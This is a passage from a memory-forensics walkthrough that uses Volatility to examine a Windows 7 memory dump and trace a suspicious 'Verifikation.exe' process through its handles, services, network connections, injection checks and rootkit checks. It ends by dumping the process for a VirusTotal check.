 0xfffffa8005758b10 AppleOSSMgr.ex     1408  500   5    57   0   0 2016-02-12 20:32:29 UTC+0000  
 0xfffffa800577bb10 AppleTimeSrv.e     1444  500   4    55   0   0 2016-02-12 20:32:29 UTC+0000  
 0xfffffa8005780060 svchost.exe      1472  500   11   299   0   0 2016-02-12 20:32:29 UTC+0000  
 0xfffffa8005796b10 svchost.exe      1512  500   19   304   0   0 2016-02-12 20:32:29 UTC+0000  
 0xfffffa800594fb10 VGAuthService.     1636  500   3    88   0   0 2016-02-12 20:32:29 UTC+0000  
 0xfffffa80059c2b10 vmtoolsd.exe      1700  500   9   315   0   0 2016-02-12 20:32:29 UTC+0000  
 0xfffffa80049d85d0 svchost.exe      1900  500   6    94   0   0 2016-02-12 20:32:30 UTC+0000  
 0xfffffa8004a46060 WmiPrvSE.exe      1872  632   11   331   0   0 2016-02-12 20:32:30 UTC+0000  
 0xfffffa8005119b10 dllhost.exe      2056  500   13   194   0   0 2016-02-12 20:32:31 UTC+0000  
 0xfffffa8005189940 msdtc.exe       2248  500   12   146   0   0 2016-02-12 20:32:31 UTC+0000  
 0xfffffa8004088600 WmiPrvSE.exe      2596  632   9   244   0   0 2016-02-12 20:32:50 UTC+0000  
 0xfffffa8004301600 mscorsvw.exe      2924  500   6   111   0   1 2016-02-12 20:34:29 UTC+0000  
 0xfffffa8003d583e0 mscorsvw.exe      2972  500   6    84   0   0 2016-02-12 20:34:29 UTC+0000  
 0xfffffa800477fb10 svchost.exe      1176  500   14   390   0   0 2016-02-12 20:34:30 UTC+0000  
 0xfffffa80052b7440 wmpnetwk.exe      2704  500   14   429   0   0 2016-02-12 20:34:38 UTC+0000  
 0xfffffa80052d8610 SearchIndexer.     1776  500   12   619   0   0 2016-02-12 20:34:39 UTC+0000  
 0xfffffa800528eb10 TrustedInstall     2684  500   5   130   0   0 2016-02-12 20:35:27 UTC+0000  
 0xfffffa8005c18840 taskhost.exe      2176  500   11   281   1   0 2016-02-12 20:38:21 UTC+0000  
 0xfffffa8005381060 dwm.exe        2468  884   3    71   1   0 2016-02-12 20:38:21 UTC+0000  
 0xfffffa8005c47320 explorer.exe      2080  2824   44   1032   1   0 2016-02-12 20:38:21 UTC+0000  
 0xfffffa8005c88b10 Bootcamp.exe      2552  2080   6   139   1   0 2016-02-12 20:38:22 UTC+0000  
 0xfffffa8005c92530 vmtoolsd.exe      2300  2080   7   280   1   0 2016-02-12 20:38:22 UTC+0000  
 0xfffffa8005cd7180 audiodg.exe      1556  816   4   129   0   0 2016-02-12 20:38:22 UTC+0000  
 0xfffffa8005d89b10 GWX.exe        1668  620   4   196   1   0 2016-02-12 20:38:37 UTC+0000  
 0xfffffa8005d09060 cmd.exe        3872  2080   1    23   1   0 2016-02-13 20:11:42 UTC+0000  
 0xfffffa8005d07060 conhost.exe      2832  420   2    44   1   0 2016-02-13 20:11:42 UTC+0000  
 0xfffffa8006065060 Procmon.exe      3192  2080   5   174   1   1 2016-02-13 20:17:46 UTC+0000  
 0xfffffa8005175b10 Procmon64.exe     4036  3192   11   249   1   0 2016-02-13 20:17:46 UTC+0000  
0xfffffa8005ef8b10 Verifikation.e     3924  2080   25   432   1   1 2016-02-13 20:19:30 UTC+0000  
 0xfffffa8005dea060 winpmem_1.6.2.     3748  3872   1    29   1   1 2016-02-13 20:19:41 UTC+0000  

The process highlight in yellow is suspicious as it is not really a known process from the Windows OS. This is worth to investigate. 
In some cases it might not be so obvious as the malicious process can use a valid process name (like svchost.exe)  or might have "infected" a valid process through DLL injection or Process Hollowing techniques.

All the processes listed below are the ones in the list of running processes on the OS, but there is some malware which tries to hide bad process through unlinking it from that list (which is a double linked list). Without going into much details on that, I can see if there is such 'hidden' processes with 'psscan':




In this case Volatility shows it exist a process with PID 0, which it is also worth to investigate, as this is not something common.

2) Analyse Process DLLs and Handles 

The next step is to identify the DLLs loaded by the process. There might be also some suspicious DLL loaded. This is done with 'dlllist'

 volatility --plugins=plugins/ --profile=Win7SP1x64 -f mem-2.dmp dlllist -p 3924  
 Volatility Foundation Volatility Framework 2.5  
 ************************************************************************  
 Verifikation.e pid:  3924  
 Command line : "C:\Users\angel\Desktop\file\Verifikation.exe"
 Note: use ldrmodules for listing DLLs in Wow64 processes  
 Base               Size     LoadCount Path  
 ------------------ ------------------ ------------------ ----  
 0x0000000000400000      0x42000       0xffff C:\Users\angel\Desktop\file\Verifikation.exe  
 0x0000000076eb0000      0x1aa000       0xffff C:\Windows\SYSTEM32\ntdll.dll  
 0x0000000073480000      0x3f000        0x3 C:\Windows\SYSTEM32\wow64.dll  
 0x0000000073420000      0x5c000        0x1 C:\Windows\SYSTEM32\wow64win.dll  
 0x0000000073410000       0x8000        0x1 C:\Windows\SYSTEM32\wow64cpu.dll  

In this case I do not see any suspicious DLL. As a note, in the field "Command line", I can see the exactly command which was executed to launch the malicious process.

Handles, which basically are any kind of object that the process deals with, like register key, files, Threads, processes, mutant (mutex), directories, etc, can provide very useful information. Running Volatility with 'handles' it is possible to obtain all the kind of handles. 

 olatility --plugins=plugins/ --profile=Win7SP1x64 -f mem-2.dmp handles -p 3924  
 Volatility Foundation Volatility Framework 2.5  
 Offset(V)       Pid       Handle       Access Type       Details  
 ------------------ ------ ------------------ ------------------ ---------------- -------  
 0xfffff8a001c49610  3924        0x4        0x9 Key       MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS  
 0xfffff8a0007de800  3924        0x8        0x3 Directory    KnownDlls  
 0xfffff8a005ce5480  3924        0xc        0x3 Directory    KnownDlls32  
 0xfffffa800558a070  3924        0x10      0x100020 File       \Device\HarddiskVolume2\Windows  
 0xfffff8a001c49740  3924        0x14        0x9 Key       MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS  
 0xfffff8a005ce5480  3924        0x18        0x3 Directory    KnownDlls32  
 0xfffffa8005dd4b40  3924        0x1c      0x100020 File       \Device\HarddiskVolume2\Users\angel\Desktop\file  
 0xfffff8a003db5fa0  3924        0x20      0x20019 Key       MACHINE\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS  
 0xfffffa800548fb00  3924        0x24      0x1f0001 Mutant  
 0xfffffa8005231e60  3924        0x28      0x1f0001 ALPC Port  
 0xfffff8a001d0c330  3924        0x2c        0x1 Key       MACHINE\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER  
 0xfffffa8005657270  3924        0x30      0x100003 Semaphore  
 0xfffffa8003d69060  3924        0x34      0x100003 Semaphore  
 0xfffffa8005592060  3924        0x38      0x1f0001 Mutant  
 0xfffff8a003aeff20  3924        0x3c      0x20019 Key       MACHINE  
 0xfffffa8005b5e6b0  3924        0x40      0x1f0003 Event  
 0xfffffa800464e520  3924        0x44       0x804 EtwRegistration  
 0xfffffa8005e0fd40  3924        0x48      0x1f0001 Mutant  
 0xfffff8a003848880  3924        0x4c      0xf003f Key       USER\S-1-5-21-3207478364-1257758836-272776370-1001  
 0xfffffa8005ff2330  3924        0x50      0x100020 File       \Device\HarddiskVolume2\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc  
 ....  
 ...  
 ...  

However, the output produced by 'handles' can be huge, so to filter out can be done with an additional parameter, like for example '-t mutant', which shows only the mutex (aka mutant). Mutex are programming objects used to synchronised threads in order to guarantee exclusives access to a resource in a specific moment. Malware makes use of such mutant in order to avoid multiple instances of the same malware running in the system.

 volatility --plugins=plugins/ --profile=Win7SP1x64 -f mem-2.dmp handles -p 3924 -t mutant  
 Volatility Foundation Volatility Framework 2.5  
 Offset(V)       Pid       Handle       Access Type       Details  
 ------------------ ------ ------------------ ------------------ ---------------- -------  
 0xfffffa800548fb00  3924        0x24      0x1f0001 Mutant  
 0xfffffa8005592060  3924        0x38      0x1f0001 Mutant  
 0xfffffa8005e0fd40  3924        0x48      0x1f0001 Mutant  
 0xfffffa8005e3e830  3924        0xcc      0x1f0001 Mutant  
 0xfffffa8005c91640  3924       0x2fc      0x1f0001 Mutant      ZonesCacheCounterMutex  
 0xfffffa8005b07fc0  3924       0x300      0x1f0001 Mutant      ZonesLockedCacheCounterMutex  
 0xfffffa8005c3e670  3924       0x444      0x100000 Mutant      MSCTF.Asm.MutexDefault1  
 0xfffffa8004e36ec0  3924       0x480      0x1f0001 Mutant      !IECompat!Mutex  
 0xfffffa8005c5d770  3924       0x53c      0x1f0001 Mutant  
 0xfffffa800595a600  3924       0x544      0x1f0001 Mutant  
 0xfffffa8005f67ec0  3924       0x5ec      0x1f0001 Mutant  
 0xfffffa8005a8e9a0  3924       0x5f4      0x1f0001 Mutant  
 0xfffffa80059b4d70  3924       0x5f8      0x1f0001 Mutant      __DDrawExclMode__  
 0xfffffa80052f21c0  3924       0x600      0x1f0001 Mutant      __DDrawCheckExclMode__  
 0xfffffa80045ff200  3924       0x604      0x1f0001 Mutant      DDrawWindowListMutex  
 0xfffffa800595c7c0  3924       0x608      0x1f0001 Mutant      DDrawDriverObjectListMutex  

Sometimes the mutex is unique and can be used as fingerprint.  Here we see there is several mutants, like "!IECompat!Mutex".

Same approach can be used to filter for the register key or any other object. This is done with '-t key'. With 'key' it might be possible to identify malware which creates autorun key to be persistent, or perform any other change in the register.

In this case there are not any autorun register involved.

If we want to look deeper if the malware is persistent, like running as a service, this is possible to do with the 'svcscan'.   On account that I am interested on detecting any suspicious binary executed through a service, I grep for it

 volatility --plugins=plugins/ --profile=Win7SP1x64 -f mem-2.dmp svcscan | egrep -e "(ImagePath|Binary Path)" | grep -v "Binary Path: -"
 Volatility Foundation Volatility Framework 2.5  
 Binary Path: C:\Windows\system32\svchost.exe -k netsvcs  
 Binary Path: C:\Windows\system32\svchost.exe -k netsvcs  
 Binary Path: C:\Windows\system32\lsass.exe  
 Binary Path: \Driver\rspndr  
 Binary Path: C:\Windows\system32\svchost.exe -k RPCSS  
 Binary Path: C:\Windows\system32\svchost.exe -k RPCSS  
 Binary Path: \Driver\RFCOMM  
 Binary Path: \Driver\rdyboost  
 Binary Path: \Driver\RDPWD  
 Binary Path: \Driver\RDPREFMP  
 Binary Path: \Driver\RDPENCDD  
 Binary Path: \Driver\RDPDR  
 Binary Path: \Driver\RDPCDD  
 Binary Path: \Driver\rdpbus  
 Binary Path: \FileSystem\rdbss  
 Binary Path: \Driver\RasSstp  
 Binary Path: \Driver\RasPppoe  
 Binary Path: \Driver\Rasl2tp  
 Binary Path: \Driver\RasAgileVpn  
 Binary Path: \Driver\Psched  
 Binary Path: C:\Windows\system32\svchost.exe -k netsvcs  
 Binary Path: \Driver\PptpMiniport  
 Binary Path: C:\Windows\system32\svchost.exe -k DcomLaunch  
 Binary Path: \Driver\PNPMEM  
 Binary Path: C:\Windows\system32\svchost.exe -k DcomLaunch  
 Binary Path: \Driver\PEAUTH  
 Binary Path: \Driver\pcw  
 Binary Path: \Driver\pci  
 Binary Path: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted  
 Binary Path: \Driver\partmgr  
 Binary Path: \Driver\Parport  
 Binary Path: \Driver\Null  
 Binary Path: \FileSystem\Ntfs  
 Binary Path: \Driver\nsiproxy  
 Binary Path: C:\Windows\system32\svchost.exe -k LocalService  
 Binary Path: \FileSystem\Npfs  
 Binary Path: \Driver\NPF  
 Binary Path: C:\Windows\system32\svchost.exe -k NetworkService  
 Binary Path: C:\Windows\system32\svchost.exe -k LocalService  
 Binary Path: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted  
 Binary Path: \Driver\NetBT  
 Binary Path: \FileSystem\NetBIOS  
 Binary Path: \Driver\NDProxy  
 Binary Path: \Driver\NdisWan  
 Binary Path: \Driver\NdisTapi  
 Binary Path: \Driver\NDIS  
 Binary Path: \FileSystem\Mup  
 Binary Path: \Driver\mssmbios  
 Binary Path: \Driver\msisadrv  
 Binary Path: \FileSystem\Msfs  
 Binary Path: C:\Windows\System32\msdtc.exe  
 Binary Path: \Driver\msahci  
 Binary Path: \FileSystem\mrxsmb20  
 Binary Path: \FileSystem\mrxsmb10  
 Binary Path: \FileSystem\mrxsmb  
 Binary Path: C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork  
 Binary Path: \Driver\mpsdrv  
 Binary Path: \Driver\mountmgr  
 Binary Path: \Driver\mouhid  
 Binary Path: \Driver\mouclass  
 Binary Path: \Driver\monitor  
 Binary Path: C:\Windows\system32\svchost.exe -k netsvcs  
 Binary Path: \Driver\MacHALDriver  
 Binary Path: \FileSystem\luafv  
 Binary Path: \Driver\LSI_SAS  
 Binary Path: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted  
 Binary Path: \Driver\lltdio  
 Binary Path: C:\Windows\system32\svchost.exe -k NetworkService  
 Binary Path: C:\Windows\system32\svchost.exe -k netsvcs  
 Binary Path: \Driver\ksthunk  
 Binary Path: \Driver\KSecPkg  
 Binary Path: \Driver\KSecDD  
 Binary Path: \Driver\KeyAgent  
 Binary Path: \Driver\kbdclass  
 Binary Path: C:\Windows\system32\svchost.exe -k netsvcs  
 Binary Path: \Driver\intelppm  
 Binary Path: \Driver\intelide  
 Binary Path: C:\Windows\system32\svchost.exe -k netsvcs  
 Binary Path: \Driver\i8042prt  
 Binary Path: \Driver\hwpolicy  
 Binary Path: \Driver\HTTP  
 Binary Path: \Driver\HidUsb  
 Binary Path: \Driver\HDAudBus  
 Binary Path: \Driver\HdAudAddService  
 Binary Path: C:\Windows\system32\svchost.exe -k GPSvcGroup  
 Binary Path: \Driver\fvevol  
 Binary Path: C:\Windows\system32\svchost.exe -k LocalService  
 Binary Path: \FileSystem\FltMgr  
 Binary Path: \Driver\flpydisk  
 Binary Path: \FileSystem\FileInfo  
 Binary Path: C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation  
 Binary Path: \Driver\fdc  
 Binary Path: C:\Windows\system32\svchost.exe -k LocalService  
 Binary Path: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted  
 Binary Path: \Driver\E1G60  
 Binary Path: \Driver\DXGKrnl  
 Binary Path: C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork  
 Binary Path: C:\Windows\system32\svchost.exe -k NetworkService  
 Binary Path: \Driver\Disk  
 Binary Path: \Driver\discache  
 Binary Path: C:\Windows\System32\svchost.exe -k utcsvc  
 Binary Path: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted  
 Binary Path: \FileSystem\DfsC  
 Binary Path: C:\Windows\system32\svchost.exe -k DcomLaunch  
 Binary Path: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted  
 Binary Path: \Driver\CSC  
 Binary Path: C:\Windows\system32\svchost.exe -k NetworkService  
 Binary Path: C:\Windows\system32\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}  
 Binary Path: \Driver\CompositeBus  
 Binary Path: \Driver\Compbatt  
 Binary Path: \Driver\CNG  
 Binary Path: \Driver\CmBatt  
 Binary Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe  
 Binary Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe  
 Binary Path: \Driver\CLFS  
 Binary Path: C:\Windows\system32\svchost.exe -k netsvcs  
 Binary Path: \Driver\cdrom  
 Binary Path: \Driver\BTHUSB  
 Binary Path: C:\Windows\system32\svchost.exe -k bthsvcs  
 Binary Path: \Driver\BthEnum  
 Binary Path: C:\Windows\system32\svchost.exe -k netsvcs  
 Binary Path: \FileSystem\bowser  
 Binary Path: \Driver\blbdrive  
 Binary Path: C:\Windows\system32\svchost.exe -k netsvcs  
 Binary Path: C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork  
 Binary Path: \Driver\Beep  
 Binary Path: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted  
 Binary Path: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted  
 Binary Path: \Driver\atapi  
 Binary Path: \Driver\AsyncMac  
 Binary Path: C:\Windows\system32\AppleTimeSrv.exe  
 Binary Path: C:\Windows\system32\AppleOSSMgr.exe  
 Binary Path: \Driver\AppleMNT  
 Binary Path: \FileSystem\AppleHFS  
 Binary Path: C:\Windows\system32\svchost.exe -k netsvcs  
 Binary Path: \Driver\amdxata  
 Binary Path: \Driver\AFD  
 Binary Path: C:\Windows\system32\svchost.exe -k netsvcs  
 Binary Path: "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
 Binary Path: \Driver\ACPI  
 Binary Path: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted  
 Binary Path: \Driver\usbuhci  
 Binary Path: \Driver\USBPcap  
 Binary Path: \Driver\usbhub  
 Binary Path: \Driver\usbehci  
 Binary Path: \Driver\usbccgp  
 Binary Path: C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation  
 Binary Path: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted  
 Binary Path: \Driver\umbus  
 Binary Path: \Driver\tunnel  
 Binary Path: \Driver\tssecsrv  
 Binary Path: C:\Windows\servicing\TrustedInstaller.exe  
 Binary Path: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted  
 Binary Path: C:\Windows\system32\svchost.exe -k netsvcs  
 Binary Path: C:\Windows\system32\svchost.exe -k NetworkService  
 Binary Path: \Driver\TermDD  
 Binary Path: \Driver\tdx  
 Binary Path: \Driver\TDTCP  
 Binary Path: \Driver\tcpipreg  
 Binary Path: \Driver\Tcpip  
 Binary Path: \Driver\swenum  
 Binary Path: \Driver\storflt  
 Binary Path: C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation  
 Binary Path: \FileSystem\srvnet  
 Binary Path: \FileSystem\srv2  
 Binary Path: \FileSystem\srv  
 Binary Path: C:\Windows\System32\spoolsv.exe  
 Binary Path: \Driver\spldr  
 Binary Path: C:\Windows\system32\svchost.exe -k netsvcs  
 Binary Path: C:\Windows\system32\svchost.exe -k netsvcs  
 Binary Path: \Driver\Serial  
 Binary Path: \Driver\Serenum  
 Binary Path: C:\Windows\system32\SearchIndexer.exe /Embedding  
 Binary Path: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted  
 Binary Path: \Driver\ws2ifsl  
 Binary Path: "C:\Program Files\Windows Media Player\wmpnetwk.exe"
 Binary Path: C:\Windows\system32\svchost.exe -k NetworkService  
 Binary Path: C:\Windows\system32\svchost.exe -k netsvcs  
 Binary Path: C:\Windows\system32\svchost.exe -k LocalService  
 Binary Path: C:\Windows\System32\svchost.exe -k secsvcs  
 Binary Path: \Driver\WfpLwf  
 Binary Path: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted  
 Binary Path: C:\Windows\system32\svchost.exe -k LocalService  
 Binary Path: \Driver\Wdf01000  
 Binary Path: \Driver\Wanarpv6  
 Binary Path: \Driver\vsock  
 Binary Path: \Driver\volsnap  
 Binary Path: \Driver\volmgrx  
 Binary Path: \Driver\volmgr  
 Binary Path: "C:\Program Files\VMware\VMware Tools\vmacthlp.exe"
 Binary Path: \Driver\vmusbmouse  
 Binary Path: "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"
 Binary Path: \Driver\vmrawdsk  
 Binary Path: \Driver\vmmouse  
 Binary Path: \Driver\VMMEMCTL  
 Binary Path: \FileSystem\vmhgfs  
 Binary Path: \Driver\vmci  
 Binary Path: \Driver\vm3dmp  
 Binary Path: "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"
 Binary Path: \Driver\VgaSave  
 Binary Path: \Driver\vdrvroot  
 Binary Path: C:\Windows\system32\lsass.exe  
 Binary Path: C:\Windows\system32\svchost.exe -k netsvcs  
 Binary Path: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted  
 Binary Path: \Driver\WudfPf  

No suspicious Autorun Service detected, so the malware is not being persistent through a service,  neither through a autorun registry key as we saw previously.


I am interested also to see which files are being opened. For example, if something is downloaded from Internet (exe, a malicious JS, HTML, etc.)




In this case there is some website visited and some temporal files are stored.

3) Review network artifacts

Network artifacts provides lot of useful information in terms of listening ports due to some process, network connections from/to the host, etc. In the case of windows 7, the parameter is 'netscan'

 volatility --plugins=plugins/ --profile=Win7SP1x64 -f mem-2.dmp netscan  
 Volatility Foundation Volatility Framework 2.5  
 Offset(P)     Proto  Local Address         Foreign Address   State      Pid   Owner     Created  
 0x2230cf0     UDPv4  0.0.0.0:3702          *:*                  1512   svchost.exe  2016-02-13 20:09:12 UTC+0000  
 0x752ecf0     UDPv4  0.0.0.0:3702          *:*                  1512   svchost.exe  2016-02-13 20:09:12 UTC+0000  
 0x754e370     UDPv4  127.0.0.1:55616        *:*                  1512   svchost.exe  2016-02-13 20:08:52 UTC+0000  
 0x7576d00     UDPv4  0.0.0.0:51553         *:*                  1512   svchost.exe  2016-02-12 20:32:29 UTC+0000  
 0x7576d00     UDPv6  :::51553            *:*                  1512   svchost.exe  2016-02-12 20:32:29 UTC+0000  
 0x7577110     UDPv4  0.0.0.0:51552         *:*                  1512   svchost.exe  2016-02-12 20:32:29 UTC+0000  
....
 0x125d93200    TCPv6  :::5357            :::0         LISTENING    4    System  
 0x12732b110    UDPv4  0.0.0.0:51552         *:*                  1512   svchost.exe  2016-02-12 20:32:29 UTC+0000  
 0x13de0f890    UDPv4  192.168.113.229:1900      *:*                  1512   svchost.exe  2016-02-13 20:08:52 UTC+0000  
 0x13de3ec40    UDPv4  192.168.113.229:137      *:*                  4    System     2016-02-13 20:08:52 UTC+0000  
 0x13dfbe490    UDPv4  0.0.0.0:53670         *:*                  1076   svchost.exe  2016-02-13 20:19:35 UTC+0000  
 0x13e16f890    UDPv4  0.0.0.0:5355          *:*                  1076   svchost.exe  2016-02-13 20:08:55 UTC+0000  
 0x13e1f3300    UDPv4  192.168.113.229:138      *:*                  4    System     2016-02-13 20:08:52 UTC+0000  
0x13de23010    TCPv4  192.168.113.229:49209     94.23.50.33:80    ESTABLISHED   3924   Verifikation.e  
 0x13de3dcf0    TCPv4  192.168.113.229:49207     103.198.0.2:80    CLOSE_WAIT    3924   Verifikation.e  
 0x13de5c010    TCPv4  192.168.113.229:49208     103.198.0.2:80    CLOSE_WAIT    3924   Verifikation.e  
 0x13de5d9d0    TCPv6  -:0              3842:3a05:80fa:ffff:3842:3a05:80fa:ffff:0 CLOSED      1076   svchost.exe  
 0x13e2a6ec0    UDPv4  127.0.0.1:1900         *:*                  1512   svchost.exe  2016-02-13 20:08:52 UTC+0000  
 0x13e5399a0    UDPv4  0.0.0.0:500          *:*                  956   svchost.exe  2016-02-12 20:32:29 UTC+0000  
...

 0x13f970010    TCPv6  -:0              c829:c703:80fa:ffff:c829:c703:80fa:ffff:0 CLOSED      4    System  

In this case, we see that our suspicious process has performed several connections to different IPs: 94.23.50.33 and 103.198.0.2. 

4) Look for code Injection

Malware uses code Injection in order to hide itself in other legitimate process. There are two main techniques for this: DLL injection and Process Hollowing. However, from a memory forensic point of view, both of them looks the same: some memory section/s  with executable code is injected to a valid process.

There are two very good plugins within Volatility for this purpose: malfind and ldrmodules

Malfind searchs for executables memory section.

Malfind has a very high rate of true positives but also false positives happens. 

 volatility --plugins=plugins/ --profile=Win7SP1x64 -f mem-2.dmp malfind --dump-dir=out-after/  
 Volatility Foundation Volatility Framework 2.5  
 Process: WmiPrvSE.exe Pid: 2596 Address: 0x1660000  
 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE  
 Flags: CommitCharge: 2, PrivateMemory: 1, Protection: 6  
 0x01660000 00 00 00 00 00 00 00 00 e0 56 1f 95 eb 19 00 01  .........V......  
 0x01660010 ee ff ee ff 00 00 00 00 28 01 66 01 00 00 00 00  ........(.f.....  
 0x01660020 28 01 66 01 00 00 00 00 00 00 66 01 00 00 00 00  (.f.......f.....  
 0x01660030 00 00 66 01 00 00 00 00 80 00 00 00 00 00 00 00  ..f.............  
 0x01660000 0000       ADD [EAX], AL  
 0x01660002 0000       ADD [EAX], AL  
 0x01660004 0000       ADD [EAX], AL  
 ...  
 ...  
 ..  

The output shows a few processes which might be injected





Obviously the Verifikation.exe is not worth to investigate as we know this is the suspicious process. For the rest of the process, and after checking, these are false positives. 

With ldrmodules, same analysis is performed but nothing brings my attention.

This piece of malware is not performing any code injection.

5) Rootkits

The main purpose of Rootkits is to hide information from the OS, like network connection, sockets, files, directories, etc. There are several plugins in volatility for this purpose: psxview, modscan, apihooks, ssdt. 

 volatility --plugins=plugins/ --profile=Win7SP1x64 -f mem-2.dmp psxview  
 Volatility Foundation Volatility Framework 2.5  
 Offset(P)     Name          PID pslist psscan thrdproc pspcid csrss session deskthrd ExitTime  
 ------------------ -------------------- ------ ------ ------ -------- ------ ----- ------- -------- --------  
 0x000000013fc88600 WmiPrvSE.exe      2596 True  False False  True  True True  True  
 0x000000013e8859c0 svchost.exe       884 True  False False  True  True True  True  
 0x000000013dc65060 Procmon.exe      3192 True  False False  True  True True  False  
 0x000000013e8d3b10 svchost.exe       956 True  False False  True  True True  True  
 0x000000013f246060 WmiPrvSE.exe      1872 True  False False  True  True True  True  
 0x000000013e107060 conhost.exe      2832 True  False False  True  True True  False  
 0x000000013e8b5b10 svchost.exe       928 True  False False  True  True True  True  
 0x000000013f42a510 wininit.exe       412 True  False False  True  True True  True  
 0x000000013def8b10 Verifikation.e     3924 True  False False  True  True True  False  
 0x000000013f233b10 vmacthlp.exe      692 True  False False  True  True True  True  
 0x000000013e796b10 svchost.exe      1512 True  False False  True  True True  True  
 0x000000013e0d7180 audiodg.exe      1556 True  False False  True  True True  True  
 0x000000013f5d85d0 svchost.exe      1900 True  False False  True  True True  True  
 0x000000013ead8610 SearchIndexer.     1776 True  False False  True  True True  True  
 0x000000013e9c9650 svchost.exe      1076 True  False False  True  True True  True  
 0x000000013e758b10 AppleOSSMgr.ex     1408 True  False False  True  True True  True  
 0x000000013ed19b10 dllhost.exe      2056 True  False False  True  True True  True  
 0x000000013ed75b10 Procmon64.exe     4036 True  False False  True  True True  False  
 0x000000013e047320 explorer.exe      2080 True  False False  True  True True  False  
 0x000000013e8fcb10 svchost.exe       360 True  False False  True  True True  True  
 0x000000013e1ea060 winpmem_1.6.2.     3748 True  False False  True  True True  False  
 0x000000013f25db10 svchost.exe       736 True  False False  True  True True  True  
 0x000000013e092530 vmtoolsd.exe      2300 True  False False  True  True True  False  
 0x000000013e71eb10 armsvc.exe       1376 True  False False  True  True True  True  
 0x000000013f77fb10 svchost.exe      1176 True  False False  True  True True  False  
 0x000000013fb01600 mscorsvw.exe      2924 True  False False  True  True True  True  
 0x000000013ed89940 msdtc.exe       2248 True  False False  True  True True  True  
 0x000000013e82cb10 svchost.exe       816 True  False False  True  True True  True  
 0x000000013eab7440 wmpnetwk.exe      2704 True  False False  True  True True  True  
 0x000000013e689060 svchost.exe      1280 True  False False  True  True True  True  
 0x000000013e018840 taskhost.exe      2176 True  False False  True  True True  True  
 0x000000013e780060 svchost.exe      1472 True  False False  True  True True  True  
 0x000000013eb54350 lsass.exe        528 True  False False  True  True True  False  
 0x000000013e646b10 spoolsv.exe      1248 True  False False  True  True True  True  
 0x000000013e088b10 Bootcamp.exe      2552 True  False False  True  True True  False  
 0x000000013eb2a510 winlogon.exe      476 True  False False  True  True True  True  
 0x000000013e189b10 GWX.exe        1668 True  False False  True  True True  False  
 0x000000013f5ff060 svchost.exe       632 True  False False  True  True True  True  
 0x000000013e77bb10 AppleTimeSrv.e     1444 True  False False  True  True True  True  
 0x00000000075583e0 mscorsvw.exe      2972 True  False False  True  True True  True  
 0x000000013eb61570 lsm.exe         536 True  False False  True  True True  True  
 0x000000013ea8eb10 TrustedInstall     2684 True  False False  True  True True  True  
 0x000000013eb81060 dwm.exe        2468 True  False False  True  True True  False  
 0x000000013e54fb10 VGAuthService.     1636 True  False False  True  True True  True  
 0x000000013eb30b10 services.exe      500 True  False False  True  True True  False  
 0x000000013e109060 cmd.exe        3872 True  False False  True  True True  False  
 0x000000013e5c2b10 vmtoolsd.exe      1700 True  False False  True  True True  True  
 0x000000013f434b10 csrss.exe        420 True  False False  True  False True  False  
 0x000000013ef01b10 csrss.exe        368 True  False False  True  False True  True  
 0x00000000074729c0 System          4 True  False False  True  False False  False  
 0x000000013f66eb10 smss.exe        272 True  False False  True  False False  False  
 0x00000000101f9420              0 False True  False  False False False  False  
 0x0000000016cb5420              0 False True  False  False False False  False  
 0x000000013dc39420              0 False True  False  False False False  False  
 0x0000000036c8a420              0 False True  False  False False False  False  
 0x0000000122d6c420              0 False True  False  False False False  False  
 0x00000000b75ee420              0 False True  False  False False False  False  

There is no evidence of rootkit on the system.

6) Acquiring processes and drivers

Last step is to dump any suspicious process, dll, driver, or memory sections for further analysis. The dumps are gathered with: dlldump, moddump, procdump,memdump and dumpfiles

In this case I am going to dump the suspicious process with PID 3924 and submit to to VT.
Note, that in some cases you do not want to share you samples in Virustotal, so you might analyse the suspicious file in your own lab with your own sandbox

To dump the process, with PID 3924 I do it with 'procdump'

 volatility --plugins=plugins/ --profile=Win7SP1x64 -f mem-2.dmp procdump -p 3924 --dump-dir=out-after/  
 Volatility Foundation Volatility Framework 2.5  
 Process(V)     ImageBase     Name         Result  
 ------------------ ------------------ -------------------- ------  
 0xfffffa8005ef8b10 0x0000000000400000 Verifikation.e    OK: executable.3924.exe  

The file is dumped as executable.3924.exe. Once uploaded to VT, I see it is detected as malicious:

Conclusion

I have been able to identify malicious code through memory forensic, following six steps:

1. Identify Rogue Processes 
2. Analyze Process DLLs and Handles 
3. Review Network Artifacts 
4. Look for Evidence of Code Injection 
5. Check for Signs of a Rootkit 
6. Dump Suspicious Processes and Drivers 

